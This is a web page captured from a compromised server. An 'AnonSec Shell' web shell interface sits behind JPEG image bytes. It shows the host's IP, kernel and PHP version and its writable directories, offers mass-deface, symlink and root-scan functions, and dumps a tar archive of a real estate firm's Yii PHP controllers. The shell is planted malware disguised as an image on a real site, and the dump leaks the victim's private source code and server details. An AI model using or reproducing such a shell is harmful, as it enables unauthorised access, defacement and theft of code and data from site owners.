JFIFHHCnxxdC"&!1A2Q"aqBb1 ?R{~,.Y|@sl_޸s[+6ϵG};?2Y`&9LP?3rj  "@V]:3T-G*P ( *(@AEY]qqqALn+Wtu?)lQUT*Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ηnu ڶh%(Lvũbb-?M֍݌٥IHln㏷L(69L^"6Pd&1H&8@TUTCJ%eʹFTj4i5=0g J&Wc+3kU@PS@HH33M *"Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePPd\A2glo=WL(6^;k"ucoH"b ,PDVlvL_/:̗rN\mdcw T-O$w+FZ5T *Y~l:99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~YИ3M3@E)GTg%AnpPMUҀhԳW c֦iZ ffR 7qMcyAZTc0bZU k+oG<]APQTA={PDti@c>>KÚ"qL.1Pk6QY7t.k7o<P &yַܼJZyWz{UrS@~P)Y:A"]Y&ScVO%17 6l4i4YR5ruk*ؼdZͨZZ cLakb3N6æ\1`XTloTuTAA 7Uq@2ŬzoʼnБRͪ&8}:e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt"(.=Y:V#'H:δ4#6yjѥBB ;WD-ElFf67*\AmADQ__'2$TX9nu'm@iPDTqS`%u%3[nY, :g = tiXH]ij"+6Z* .~|05s6 ,ǡogm+KtE-BF ES@(UJxM~8%g/=Vw[Vh3lJT rK -kˎYٰ,ukͱٵf sXDP]p]&MS95O+j&f6m463@t8ЕX=6}HR5ٶ06/@嚵*6  "hP@eVDiYQT`7tLf4c?m//B4 lajL} :Eb#PHQb,yN`rkAb^ |}s4XB4*,@[{Ru+%le2}`,kI$U`>OMuhP% ʵ/ L\5aɕVN1R63}ZLj-Dl@*(K\^i@F@551k㫖hQ沬#h XV +;]6zOsFpiX$OQ )ųl4YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 162.19.86.63  /  Your IP : 216.73.216.249   [ Reverse IP ]
Web Server : Apache
System : Linux oirealestate.net 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : oinversion ( 10001)
PHP Version : 5.6.40
Disable Function : opcache_get_status
Domains : 5 Domains
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/oinversion.com/.trash/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/vhosts/oinversion.com/.trash/controllers.tar
.gitkeep000066600000000000151456230740006176 0ustar00MemberController.php000066600000011351151456232130010537 0ustar00<?php

namespace backend\controllers;

use Yii;
use yii\base\Model;
use yii\web\Controller;
use yii\web\HttpException;
use yii\web\UploadedFile;
use yii\web\Response;
use yii\filters\VerbFilter;
use yii\filters\AccessControl;

use common\components\MultiLingualController;
use common\models\Member;
use common\models\MemberSearch;

/**
 * MemberController implements the CRUD actions for Member model.
 */
class MemberController extends MultiLingualController
{

    public function behaviors()
    {
        return [
            'access' => [
                'class' => AccessControl::className(),
                'rules' => [
                    [
                        'actions' => ['index', 'create', 'update', 'upload-image', 'delete'],
                        'allow' => true,
                        'roles' => ['@'],
                    ],
                ],
            ],
            'verbs' => [
                'class' => VerbFilter::className(),
                'actions' => [
                    //'upload-image' => ['post'],
                ],
            ],
        ];
    }

    public function actions()
    {
        return [
            'error' => [
                'class' => 'yii\web\ErrorAction',
            ],
        ];
    }

	public function actionIndex()
	{
		$memberSearch  = new MemberSearch;
		$memberProvider = $memberSearch->search($_GET);

		return $this->render('index', compact('memberSearch', 'memberProvider'));
	}

    /*TODO: Generalize duplicated code on actionCreate and actionUpdate */
	public function actionCreate(){
            $member = new Member();

            if ($member->load($_POST) && $member->save()){
                if($member->twitter){
                    $member->twitter = $member->addhttp($member->twitter);
                }
                if($member->linkedin){
                   $member->linkedin = $member->addhttp($member->linkedin);
                }
                $member->save();
                $member->uploadedFeaturedImage = UploadedFile::getInstance($member, 'uploadedFeaturedImage');
                if($member->saveFeaturedImageToDisk()){
                    Yii::$app->session->setFlash('success', Yii::t('app', 'Miembro creado'));
                }
                else{
                    Yii::$app->session->setFlash('error', Yii::t('app', 'Ha ocurrido un error al subir la imagen'));
                }
                return $this->redirect(['index']);
            } 

            return $this->render('create', compact('member'));
	}

	public function actionUpdate($id){
            $member = $this->findMember($id);
            if ($member->load($_POST) && $member->save()){
                if($member->twitter){
                    $member->twitter = $member->addhttp($member->twitter);
                }
                if($member->linkedin){
                   $member->linkedin = $member->addhttp($member->linkedin);
                }
                $member->save();
                $member->uploadedFeaturedImage = UploadedFile::getInstance($member, 'uploadedFeaturedImage');
                if($member->saveFeaturedImageToDisk()){
                    Yii::$app->session->setFlash('success', Yii::t('app', 'Miembro actualizado'));
                }
                else{
                    Yii::$app->session->setFlash('error', Yii::t('app', 'Ha ocurrido un error al subir la imagen'));
                }
                return $this->redirect(['index']);
            }

            return $this->render('update', compact('member'));
	}

        public function actionDelete($id){
            try {
                $member = $this->findMember($id);
                $member->delete();
                Yii::$app->getSession()->setFlash('success', Yii::t('app', "Miembro eliminado correctamente"));
            } catch (\Exception $e) {
                $msg = (isset($e->errorInfo[2]))?$e->errorInfo[2]:$e->getMessage();
                Yii::$app->getSession()->setFlash('error', $msg);
            }
            return $this->redirect(['index']);
        }

        public function actionUploadImage($memberId){
            if (Yii::$app->request->isAjax) {
                $member = $this->findBlogPost($memberId);
                $image = UploadedFile::getInstanceByName('fileUploaded');
                Yii::$app->response->format = Response::FORMAT_JSON;

                return ['url' => $blogPost->saveImageToDisk($image)];
            }
        }

	protected function findMember($id)
	{
        $member = Member::findOne($id);
        if (!isset($member)) {
            throw new HttpException(404, Yii::t('app','The requested page does not exist.'));
        }

        return $member;

	}
}
FlatPageController.php000066600000003742151456232130011020 0ustar00<?php
namespace frontend\controllers;

use Yii;

use yii\data\ActiveDataProvider;
use frontend\models\ContactForm;
use yii\web\HttpException;
use common\components\MultiLingualController;

use common\models\FlatPage;

class FlatPageController extends MultiLingualController{

    public function actionSelect($slug, $url){
      
        $customActions=array();
        if (isset(Yii::$app->params['flatPage']) && isset(Yii::$app->params['flatPage']['customActions'])) {
          $customActions=Yii::$app->params['flatPage']['customActions'];
        }
        
        if (isset($customActions[$url])) {
          return Yii::$app->runAction($customActions[$url], $_GET);
        } else {
          return Yii::$app->runAction('flat-page/common-flat-page', $_GET);
        }
      
    }

    public function actionCommonFlatPage($url){
        $flatPage = FlatPage::findOne(['url'=>$url]);
        $this->flatPage=$flatPage;

        if($flatPage->url == 'about-us' || $flatPage->url == 'patrimony' || $flatPage->url == 'funds' || $flatPage->url == 'coinvestment'){
            $model = new ContactForm();
            if ($model->load(Yii::$app->request->post()) && $model->validate()) {
                if ($model->sendEmail()) {
                    Yii::$app->session->setFlash('success', Yii::t('app', 'contact.success-message'));
                } else {
                    Yii::$app->session->setFlash('error', Yii::t('app', 'contact.error-message'));
                }

                return $this->refresh();
            } else {
                return $this->render($url, [
                    'model' => $model,
                ]);
            }
        }else{
        
            try {
              return $this->render($url, compact('flatPage'));
            } catch (\yii\base\InvalidParamException $ex) {
              Yii::trace("View not found for flatPage {$url}, using default view.");
            }
        }
        
        return $this->render('default_page', compact('flatPage'));
    }

}ContentController.php000066600000005633151456232130010750 0ustar00<?php

namespace backend\controllers;

use Yii;
use yii\base\Model;
use yii\web\Controller;
use yii\web\HttpException;
use yii\filters\VerbFilter;
use yii\filters\AccessControl;

use common\components\MultiLingualController;
use common\models\Content;
use common\models\ContentSearch;

/**
 * ContentController implements the CRUD actions for Content model.
 */
class ContentController extends MultiLingualController
{

    public function behaviors()
    {
        return [
            'access' => [
                'class' => AccessControl::className(),
                'rules' => [
                    [
                        'actions' => ['index', 'create', 'update'],
                        'allow' => true,
                        'roles' => ['@'],
                    ],
                ],
            ],
            'verbs' => [
                'class' => VerbFilter::className(),
                'actions' => [
                    //'update' => ['post'],
                ],
            ],
        ];
    }

    public function actions()
    {
        return [
            'error' => [
                'class' => 'yii\web\ErrorAction',
            ],
        ];
    }

	public function actionIndex()
	{
		$contentSearch  = new ContentSearch;
		$contentProvider = $contentSearch->search($_GET);

		return $this->render('index', compact('contentSearch', 'contentProvider'));
	}

    /*TODO: Generalize duplicated code on actionCreate and actionUpdate */
	public function actionCreate()
	{
		$content = new Content;
        $translations = $content->initializeTranslations();
        if ($content->load($_POST) &&
            Model::loadMultiple($translations, $_POST) &&
            Model::validateMultiple($translations) &&
            $content->save())
        {
            $content->saveTranslations($translations);
            Yii::$app->session->setFlash('success', Yii::t('app', "Content {$content->name} created successfully"));
            return $this->redirect(['index']);
        }

        return $this->render('create', compact('content', 'translations'));
	}

	public function actionUpdate($id)
	{
		$content = $this->findContent($id);
        $translations = $content->initializeTranslations();
        if ($content->load($_POST) &&
            Model::loadMultiple($translations, $_POST) &&
            Model::validateMultiple($translations) &&
            $content->save())
        {
            $content->saveTranslations($translations);
            Yii::$app->session->setFlash('success', Yii::t('app', "Content {$content->name} updated successfully"));
            return $this->redirect(['index']);
        }

        return $this->render('update', compact('content', 'translations'));

	}

	protected function findContent($id)
	{
        $content = Content::findOne($id);
        if (!isset($content)) {
            throw new HttpException(404, Yii::t('app','The requested page does not exist.'));
        }

        return $content;

	}
}
GalleryController.php000066600000006276151456232130010741 0ustar00<?php
namespace backend\controllers;

use Yii;
use yii\filters\AccessControl;
use yii\filters\VerbFilter;
use yii\web\UploadedFile;
use yii\web\HttpException;

use common\components\MultiLingualController;
use backend\models\Gallery;
use common\models\GallerySearch;
use common\models\GalleryImage;

class GalleryController extends MultiLingualController{

    public function behaviors()
    {
        return [
            'access' => [
                'class' => AccessControl::className(),
                'rules' => [
                    [
                        'actions' => ['index', 'create', 'update', 'delete-image'],
                        'allow' => true,
                        'roles' => ['@'],
                    ],
                ],
            ],
            'verbs' => [
                'class' => VerbFilter::className(),
                'actions' => [
                    'delete-image' => ['post'],
                ],
            ],
        ];
    }

    public function actions()
    {
        return [
            'error' => [
                'class' => 'yii\web\ErrorAction',
            ],
        ];
    }

    public function actionIndex(){
        $gallerySearch = new GallerySearch;
        $galleryProvider = $gallerySearch->search($_GET);

        return $this->render('index', compact('gallerySearch', 'galleryProvider'));
    }

    public function actionCreate(){
        $gallery = new Gallery;
        if ($gallery->load($_POST) && $gallery->save()) {
            $gallery->uploadedImages = UploadedFile::getInstances($gallery, 'uploadedImages');
            $gallery->saveImagesOnDisk();
            Yii::$app->session->setFlash('success', Yii::t('app', "Gallery {$gallery->name} created successfully"));
            return $this->redirect(['index']);
        }
        return $this->render('create', compact('gallery'));
    }

    public function actionUpdate($id){
        $gallery = $this->findGallery($id);
        if ($gallery->load($_POST) && $gallery->save()) {
            $galleryImagesOrderArray = explode(',', $_POST['galleryImagesOrder']);
            $gallery->reorderGalleryImages($galleryImagesOrderArray);
            $gallery->uploadedImages = UploadedFile::getInstances($gallery, 'uploadedImages');
            $gallery->saveImagesOnDisk();
            Yii::$app->session->setFlash('success', Yii::t('app', "Gallery {$gallery->name} updated successfully"));

            return $this->redirect(['index']);
        }
        return $this->render('update', compact('gallery'));
    }

    public function actionDeleteImage($id){
        if (Yii::$app->request->isAjax) {
            try {
                $galleryImage = GalleryImage::findOne($id);
                $galleryImage->delete();
                $message = Yii::t('app', 'Image deleted Successfully');
            } catch (\Exception $e) {
                $message = (isset($e->errorInfo[2]))?$e->errorInfo[2]:$e->getMessage();
            }
            return $message;
        }
    }

    protected function findGallery($id){
        $gallery = Gallery::findOne($id);
        if (!isset($gallery)) {
            throw new HttpException(404, Yii::t('app','The requested page does not exist.'));
        }

        return $gallery;

    }
}
?>GlobalConfigurationController.php000066600000005125151456232130013262 0ustar00<?php

namespace backend\controllers;

use Yii;
use yii\web\Controller;
use yii\web\HttpException;
use yii\filters\VerbFilter;
use yii\filters\AccessControl;

use common\components\MultiLingualController;
use common\models\GlobalConfiguration;
use common\models\GlobalConfigurationSearch;

/**
 * GlobalConfigurationController implements the CRUD actions for GlobalConfiguration model.
 */
class GlobalConfigurationController extends MultiLingualController
{

    public function behaviors()
    {
        return [
            'access' => [
                'class' => AccessControl::className(),
                'rules' => [
                    [
                        'actions' => ['index', 'create', 'update'],
                        'allow' => true,
                        'roles' => ['@'],
                    ],
                ],
            ],
            'verbs' => [
                'class' => VerbFilter::className(),
                'actions' => [
                    //'update' => ['post'],
                ],
            ],
        ];
    }

    public function actions()
    {
        return [
            'error' => [
                'class' => 'yii\web\ErrorAction',
            ],
        ];
    }

	public function actionIndex()
	{
		$globalConfigurationSearch  = new GlobalConfigurationSearch;
		$globalConfigurationProvider = $globalConfigurationSearch->search($_GET);

		return $this->render('index', compact('globalConfigurationSearch', 'globalConfigurationProvider'));
	}

	public function actionCreate()
	{
		$globalConfiguration = new GlobalConfiguration;

        if ($globalConfiguration->load($_POST) && $globalConfiguration->save()) {
            Yii::$app->session->setFlash('success', Yii::t('app', 'New Configuration created successfully'));
            return $this->redirect(['index']);
        }

        return $this->render('create', compact('globalConfiguration'));
	}

	public function actionUpdate($id)
	{
		$globalConfiguration = $this->findGlobalConfiguration($id);
        if ($globalConfiguration->load($_POST) && $globalConfiguration->save()) {
            Yii::$app->session->setFlash('success', Yii::t('app', 'Configuration updated successfully'));
            return $this->redirect(['index']);
        }

        return $this->render('update', compact('globalConfiguration'));

	}

	protected function findGlobalConfiguration($id)
	{
        $globalConfiguration = GlobalConfiguration::findOne($id);
        if (!isset($globalConfiguration)) {
            throw new HttpException(404, Yii::t('app','The requested page does not exist.'));
        }

        return $globalConfiguration;

	}
}
ProjectController.php000066600000012257151456232130010744 0ustar00<?php

namespace backend\controllers;

use Yii;
use yii\base\Model;
use yii\web\Controller;
use yii\web\HttpException;
use yii\filters\VerbFilter;
use yii\filters\AccessControl;
use yii\web\UploadedFile;

use common\components\MultiLingualController;
use backend\models\Project;
use common\models\ProjectSearch;
use common\models\ProjectImage;
use common\models\ProjectBlueprint;

/**
 * ContentController implements the CRUD actions for Content model.
 */
class ProjectController extends MultiLingualController
{

    public function behaviors()
    {
        return [
            'access' => [
                'class' => AccessControl::className(),
                'rules' => [
                    [
                        'actions' => ['index', 'create', 'update', 'delete', 'delete-project-image', 'delete-project-blueprint'],
                        'allow' => true,
                        'roles' => ['@'],
                    ],
                ],
            ],
            'verbs' => [
                'class' => VerbFilter::className(),
                'actions' => [
                    //'update' => ['post'],
                ],
            ],
        ];
    }

    public function actions()
    {
        return [
            'error' => [
                'class' => 'yii\web\ErrorAction',
            ],
        ];
    }

	public function actionIndex()
	{
        $projectSearch  = new ProjectSearch;
        $projectProvider = $projectSearch->search($_GET);

        return $this->render('index', compact('projectSearch', 'projectProvider'));
	}

    /*TODO: Generalize duplicated code on actionCreate and actionUpdate */
	public function actionCreate()
	{
            $project = new Project;

            if ($project->load($_POST) && $project->save()) {
                $project->uploadedImages = UploadedFile::getInstances($project, 'uploadedImages');
                $project->saveImagesOnDisk();
                $project->uploadedBlueprints = UploadedFile::getInstances($project, 'uploadedBlueprints');
                $project->saveBlueprintsOnDisk();
                Yii::$app->session->setFlash('success', Yii::t('app', 'Proyecto creado satisfactoriamente'));
                return $this->redirect(['index']);
            }

        return $this->render('create', compact('project'));
	}

	public function actionUpdate($id)
	{
            $project = $this->findProject($id);
            if ($project->load($_POST) && $project->save()) {
                $projectImagesOrderArray = explode(',', $_POST['projectImagesOrder']);
                $project->reorderProjectImages($projectImagesOrderArray);
                $project->uploadedImages = UploadedFile::getInstances($project, 'uploadedImages');
                $project->saveImagesOnDisk();
                
                $projectBlueprintsOrderArray = explode(',', $_POST['projectBlueprintsOrder']);
                $project->reorderProjectBlueprints($projectBlueprintsOrderArray);
                $project->uploadedBlueprints = UploadedFile::getInstances($project, 'uploadedBlueprints');
                $project->saveBlueprintsOnDisk();
                Yii::$app->session->setFlash('success', Yii::t('app', 'Proyecto actualizado satisfactoriamente'));
                return $this->redirect(['index']);
            }

        return $this->render('update', compact('project'));

	}

	protected function findProject($id)
    {
        $project = Project::findOne($id);
        if (!isset($project)) {
            throw new HttpException(404, Yii::t('app','The requested page does not exist.'));
        }

        return $project;

    }

    public function actionDelete($id){
        try {
            $project = $this->findProject($id);
            $projectName = $project->title;
            $project->delete();
            Yii::$app->getSession()->setFlash('success', Yii::t('app', "Proyecto {$projectName} eliminado satisfactoriamente"));
        } catch (\Exception $e) {
            $msg = (isset($e->errorInfo[2]))?$e->errorInfo[2]:$e->getMessage();
            Yii::$app->getSession()->setFlash('error', $msg);
        }
        return $this->redirect(['index']);
    }
    
    public function actionDeleteProjectImage($id){
        if (Yii::$app->request->isAjax) {
            try {
                $projectImage = ProjectImage::findOne($id);
                $projectImage->delete();
                $message = Yii::t('app', 'Imagen eliminada satisfactoriamente');
            } catch (\Exception $e) {
                $message = (isset($e->errorInfo[2]))?$e->errorInfo[2]:$e->getMessage();
            }
            return $message;
        }
    }
    
    public function actionDeleteProjectBlueprint($id){
        if (Yii::$app->request->isAjax) {
            try {
                $projectBlueprint = ProjectBlueprint::findOne($id);
                $projectBlueprint->delete();
                $message = Yii::t('app', 'Plano eliminado satisfactoriamente');
            } catch (\Exception $e) {
                $message = (isset($e->errorInfo[2]))?$e->errorInfo[2]:$e->getMessage();
            }
            return $message;
        }
    }
}
BlogPostController.php000066600000011261151456232130011061 0ustar00<?php

namespace backend\controllers;

use Yii;
use yii\base\Model;
use yii\web\Controller;
use yii\web\HttpException;
use yii\web\UploadedFile;
use yii\web\Response;
use yii\filters\VerbFilter;
use yii\filters\AccessControl;

use common\components\MultiLingualController;
use common\models\BlogPost;
use common\models\BlogPostSearch;

/**
 * BlogPostController implements the CRUD actions for BlogPost model.
 */
class BlogPostController extends MultiLingualController
{

    public function behaviors()
    {
        return [
            'access' => [
                'class' => AccessControl::className(),
                'rules' => [
                    [
                        'actions' => ['index', 'create', 'update', 'upload-image', 'delete'],
                        'allow' => true,
                        'roles' => ['@'],
                    ],
                ],
            ],
            'verbs' => [
                'class' => VerbFilter::className(),
                'actions' => [
                    'upload-image' => ['post'],
                ],
            ],
        ];
    }

    public function actions()
    {
        return [
            'error' => [
                'class' => 'yii\web\ErrorAction',
            ],
        ];
    }

	public function actionIndex()
	{
		$blogPostSearch  = new BlogPostSearch;
		$blogPostProvider = $blogPostSearch->search($_GET);

		return $this->render('index', compact('blogPostSearch', 'blogPostProvider'));
	}

    /*TODO: Generalize duplicated code on actionCreate and actionUpdate */
	public function actionCreate()
	{
        $blogPost = new BlogPost();
        $blogPost->is_published=1;
        $translations = $blogPost->initializeTranslations();
        Model::loadMultiple($translations, $_POST);
        if ($blogPost->load($_POST) &&
            Model::loadMultiple($translations, $_POST) &&
            Model::validateMultiple($translations) &&
            $blogPost->save())
        {
            $blogPost->saveTranslations($translations);
            $blogPost->uploadedFeaturedImage = UploadedFile::getInstance($blogPost, 'uploadedFeaturedImage');
            if($blogPost->saveFeaturedImageToDisk()){
                Yii::$app->session->setFlash('success', Yii::t('app', 'Blog Post created successfully'));
            }
            else{
                Yii::$app->session->setFlash('error', Yii::t('app', 'There was some error uploading the blog post Image'));
            }
            return $this->redirect(['index']);
        }

        return $this->render('create', compact('blogPost', 'translations'));
	}

	public function actionUpdate($id)
	{
		$blogPost = $this->findBlogPost($id);
        $translations = $blogPost->initializeTranslations();
        Model::loadMultiple($translations, $_POST);
        if ($blogPost->load($_POST) &&
            Model::loadMultiple($translations, $_POST) &&
            Model::validateMultiple($translations) &&
            $blogPost->save())
        {
            $blogPost->saveTranslations($translations);
            $blogPost->uploadedFeaturedImage = UploadedFile::getInstance($blogPost, 'uploadedFeaturedImage');
            if($blogPost->saveFeaturedImageToDisk()){
                Yii::$app->session->setFlash('success', Yii::t('app', 'Blog Post updated successfully'));
            }
            else{
                Yii::$app->session->setFlash('error', Yii::t('app', 'There was some error uploading the blog post Image'));
            }
            return $this->redirect(['index']);
        }

        return $this->render('update', compact('blogPost', 'translations'));
	}

    public function actionDelete($id){
        try {
            $blogPost = $this->findBlogPost($id);
            $blogPostTitle = $blogPost->title;
            $blogPost->delete();
            Yii::$app->getSession()->setFlash('success', Yii::t('app', "Blog Post {$blogPostTitle} deleted successfully"));
        } catch (\Exception $e) {
            $msg = (isset($e->errorInfo[2]))?$e->errorInfo[2]:$e->getMessage();
            Yii::$app->getSession()->setFlash('error', $msg);
        }
        return $this->redirect(['index']);
    }

    public function actionUploadImage($blogPostId){
        if (Yii::$app->request->isAjax) {
            $blogPost = $this->findBlogPost($blogPostId);
            $image = UploadedFile::getInstanceByName('fileUploaded');
            Yii::$app->response->format = Response::FORMAT_JSON;

            return ['url' => $blogPost->saveImageToDisk($image)];
        }
    }

	protected function findBlogPost($id)
	{
        $blogPost = BlogPost::findOne($id);
        if (!isset($blogPost)) {
            throw new HttpException(404, Yii::t('app','The requested page does not exist.'));
        }

        return $blogPost;

	}
}
SiteController.php000066600000015302151456232130010234 0ustar00<?php
namespace frontend\controllers;

use Yii;
use common\models\LoginForm;
use common\components\MultiLingualController;
use frontend\models\PasswordResetRequestForm;
use frontend\models\ResetPasswordForm;
use frontend\models\SignupForm;
use frontend\models\ContactForm;
use common\models\FlatPage;
use yii\base\InvalidParamException;
use yii\web\BadRequestHttpException;
use yii\web\Controller;
use yii\filters\VerbFilter;
use yii\filters\AccessControl;
use common\models\Project;

/**
 * Site controller
 */
class SiteController extends MultiLingualController
{
    /**
     * @inheritdoc
     */
    public function behaviors()
    {
        return [
            'access' => [
                'class' => AccessControl::className(),
                'only' => ['logout', 'signup'],
                'rules' => [
                    [
                        'actions' => ['signup'],
                        'allow' => true,
                        'roles' => ['?'],
                    ],
                    [
                        'actions' => ['logout'],
                        'allow' => true,
                        'roles' => ['@'],
                    ],
                ],
            ],
            'verbs' => [
                'class' => VerbFilter::className(),
                'actions' => [
                    'logout' => ['post'],
                ],
            ],
        ];
    }

    /**
     * @inheritdoc
     */
    public function actions()
    {
        return [
            'error' => [
                'class' => 'yii\web\ErrorAction',
            ],
            'captcha' => [
                'class' => 'yii\captcha\CaptchaAction',
                'fixedVerifyCode' => YII_ENV_TEST ? 'testme' : null,
            ],
        ];
    }

    /**
     * Displays homepage.
     *
     * @return mixed
     */
    public function actionIndex()
    {
        $flatPage = FlatPage::findOne(['url' => 'index']);
        $this->flatPage = $flatPage;
        $model = new ContactForm();
        if ($model->load(Yii::$app->request->post()) && $model->validate()) {
            if ($model->sendEmail()) {
                Yii::$app->session->setFlash('success', Yii::t('app', 'contact.success-message'));
            } else {
                Yii::$app->session->setFlash('error', Yii::t('app', 'contact.error-message'));
            }

            return $this->refresh();
        } else {
            return $this->render('index', compact('model', 'flatPage'));
        }
    }

    /**
     * Logs in a user.
     *
     * @return mixed
     */
    public function actionLogin()
    {
        if (!\Yii::$app->user->isGuest) {
            return $this->goHome();
        }

        $model = new LoginForm();
        if ($model->load(Yii::$app->request->post()) && $model->login()) {
            return $this->goBack();
        } else {
            return $this->render('login', [
                'model' => $model,
            ]);
        }
    }

    /**
     * Logs out the current user.
     *
     * @return mixed
     */
    public function actionLogout()
    {
        Yii::$app->user->logout();

        return $this->goHome();
    }

    /**
     * Displays contact page.
     *
     * @return mixed
     */
    public function actionContact()
    {
        $flatPage = FlatPage::findOne(['url' => 'contacto']);
        $this->flatPage = $flatPage;
        $model = new ContactForm();
        if ($model->load(Yii::$app->request->post()) && $model->validate()) {
            if ($model->sendEmail()) {
                Yii::$app->session->setFlash('success', Yii::t('app', 'contact.success-message'));
            } else {
                Yii::$app->session->setFlash('error', Yii::t('app', 'contact.error-message'));
            }

            return $this->refresh();
        } else {
            return $this->render('contact', compact('model', 'flatPage'));
        }
    }

    /**
     * Signs user up.
     *
     * @return mixed
     */
    public function actionSignup()
    {
        $model = new SignupForm();
        if ($model->load(Yii::$app->request->post())) {
            if ($user = $model->signup()) {
                if (Yii::$app->getUser()->login($user)) {
                    return $this->goHome();
                }
            }
        }

        return $this->render('signup', [
            'model' => $model,
        ]);
    }

    /**
     * Requests password reset.
     *
     * @return mixed
     */
    public function actionRequestPasswordReset()
    {
        $model = new PasswordResetRequestForm();
        if ($model->load(Yii::$app->request->post()) && $model->validate()) {
            if ($model->sendEmail()) {
                Yii::$app->session->setFlash('success', 'Check your email for further instructions.');

                return $this->goHome();
            } else {
                Yii::$app->session->setFlash('error', 'Sorry, we are unable to reset password for email provided.');
            }
        }

        return $this->render('requestPasswordResetToken', [
            'model' => $model,
        ]);
    }

    /**
     * Resets password.
     *
     * @param string $token
     * @return mixed
     * @throws BadRequestHttpException
     */
    public function actionResetPassword($token)
    {
        try {
            $model = new ResetPasswordForm($token);
        } catch (InvalidParamException $e) {
            throw new BadRequestHttpException($e->getMessage());
        }

        if ($model->load(Yii::$app->request->post()) && $model->validate() && $model->resetPassword()) {
            Yii::$app->session->setFlash('success', 'New password was saved.');

            return $this->goHome();
        }

        return $this->render('resetPassword', [
            'model' => $model,
        ]);
    }
    
    public function actionProjects()
    {
        $flatPage = FlatPage::findOne(['url' => 'proyectos']);
        $this->flatPage = $flatPage;
        $projects = Project::find()->orderBy(['id'=>SORT_DESC])->all();
        return $this->render('projects', compact('projects','flatPage'));
    }
    
    public function actionFile($id)
    {
        $flatPage = FlatPage::findOne(['url' => 'file']);
        $this->flatPage = $flatPage;
        $model = new ContactForm();
        $project = Project::find()->where(['id' => $id])->one();
        if ($model->load(Yii::$app->request->post()) && $model->validate()) {
            if ($model->sendEmail()) {
                Yii::$app->session->setFlash('success', Yii::t('app', 'contact.success-message'));
            } else {
                Yii::$app->session->setFlash('error', Yii::t('app', 'contact.error-message'));
            }

            return $this->refresh();
        } else {
            return $this->render('file', compact('model', 'project','flatPage'));
        }
    }
}
BlogCategoryController.php000066600000006066151456232130011720 0ustar00<?php

namespace backend\controllers;

use Yii;
use yii\base\Model;
use yii\web\Controller;
use yii\web\HttpException;
use yii\filters\VerbFilter;
use yii\filters\AccessControl;

use common\components\MultiLingualController;
use common\models\BlogCategory;
use common\models\BlogCategorySearch;

/**
 * BlogCategoryController implements the CRUD actions for BlogCategory model.
 */
class BlogCategoryController extends MultiLingualController
{

    public function behaviors()
    {
        return [
            'access' => [
                'class' => AccessControl::className(),
                'rules' => [
                    [
                        'actions' => ['index', 'create', 'update'],
                        'allow' => true,
                        'roles' => ['@'],
                    ],
                ],
            ],
            'verbs' => [
                'class' => VerbFilter::className(),
                'actions' => [
                    //'update' => ['post'],
                ],
            ],
        ];
    }

    public function actions()
    {
        return [
            'error' => [
                'class' => 'yii\web\ErrorAction',
            ],
        ];
    }

    public function actionIndex()
    {
        $blogCategorySearch  = new BlogCategorySearch;
        $blogCategoryProvider = $blogCategorySearch->search($_GET);

        return $this->render('index', compact('blogCategorySearch', 'blogCategoryProvider'));
    }

    /*TODO: Generalize duplicated code on actionCreate and actionUpdate */
    public function actionCreate()
    {
        $blogCategory = new BlogCategory;
        $translations = $blogCategory->initializeTranslations();

        if (Model::loadMultiple($translations, $_POST) &&
            Model::validateMultiple($translations) &&
            $blogCategory->save())
        {
            $blogCategory->saveTranslations($translations);
            Yii::$app->session->setFlash('success', Yii::t('app', "Blog Category {$blogCategory->name} created successfully"));
            return $this->redirect(['index']);
        }

        return $this->render('create', compact('blogCategory', 'translations'));

    }

    public function actionUpdate($id)
    {
        $blogCategory = $this->findBlogCategory($id);
        $translations = $blogCategory->initializeTranslations();

        if (Model::loadMultiple($translations, $_POST) &&
            Model::validateMultiple($translations) &&
            $blogCategory->save())
        {
            $blogCategory->saveTranslations($translations);
            Yii::$app->session->setFlash('success', Yii::t('app', "Blog Category {$blogCategory->name} updated successfully"));
            return $this->redirect(['index']);
        }

        return $this->render('update', compact('blogCategory', 'translations'));

    }

    protected function findBlogCategory($id)
    {
        $blogCategory = BlogCategory::findOne($id);
        if (!isset($blogCategory)) {
            throw new HttpException(404, Yii::t('app','The requested page does not exist.'));
        }

        return $blogCategory;

    }
}
BlogController.php000066600000013312151677614340010226 0ustar00<?php
namespace frontend\controllers;

use Yii;

use yii\data\ActiveDataProvider;
use yii\web\HttpException;

use common\components\MultiLingualController;

use common\models\BlogPost;
use common\models\BlogCategory;
use common\models\FlatPage;

class BlogController extends MultiLingualController{
  
    public $layout='blog';

    public function actionIndex($tag=null){
        $flatPage = $this->findFlatPage('blog');
        $this->flatPage=$flatPage;

        $query = BlogPost::find()
                ->joinWith('translations')
                ->where(['is_published' => true])
                ->andWhere(['<>', 'blog_post_lang.slug', ''])
                ->andWhere(['blog_post_lang.language' => Yii::$app->language])
                ->orderBy(['created_at' => SORT_DESC]);
        
        if (!empty($tag)) {
          $query->andFilterWhere(['like', 'tags_list', $tag]);
        }

        $blogPostProvider = new ActiveDataProvider([
          'query' => $query,
            'pagination' => [
              'forcePageParam'=>false,
              'defaultPageSize'=>3,
            ],
        ]);

        return $this->render('index', compact('flatPage', 'blogPostProvider'));
    }

    public function actionView($slug){
        $post = $this->findBlogPost($slug);

        return $this->render('view', compact('post'));
    }

    public function actionCategoryIndex($slug){
        $blogCategory = $this->findBlogCategory($slug);

        $query = BlogPost::find()
                ->joinWith('translations')
                ->joinWith('blogCategory.translations')
                ->where(['is_published' => true])
                ->andWhere(['<>', 'blog_post_lang.slug', ''])
                ->andWhere(['blog_post_lang.language' => Yii::$app->language])
                ->andWhere(['blog_category_lang.slug' => $blogCategory->slug])
                ->orderBy(['created_at' => SORT_DESC]);

        $blogPostProvider = new ActiveDataProvider([
          'query' => $query,
            'pagination' => [
              'forcePageParam'=>false,
              'defaultPageSize'=>10,
            ],
        ]);

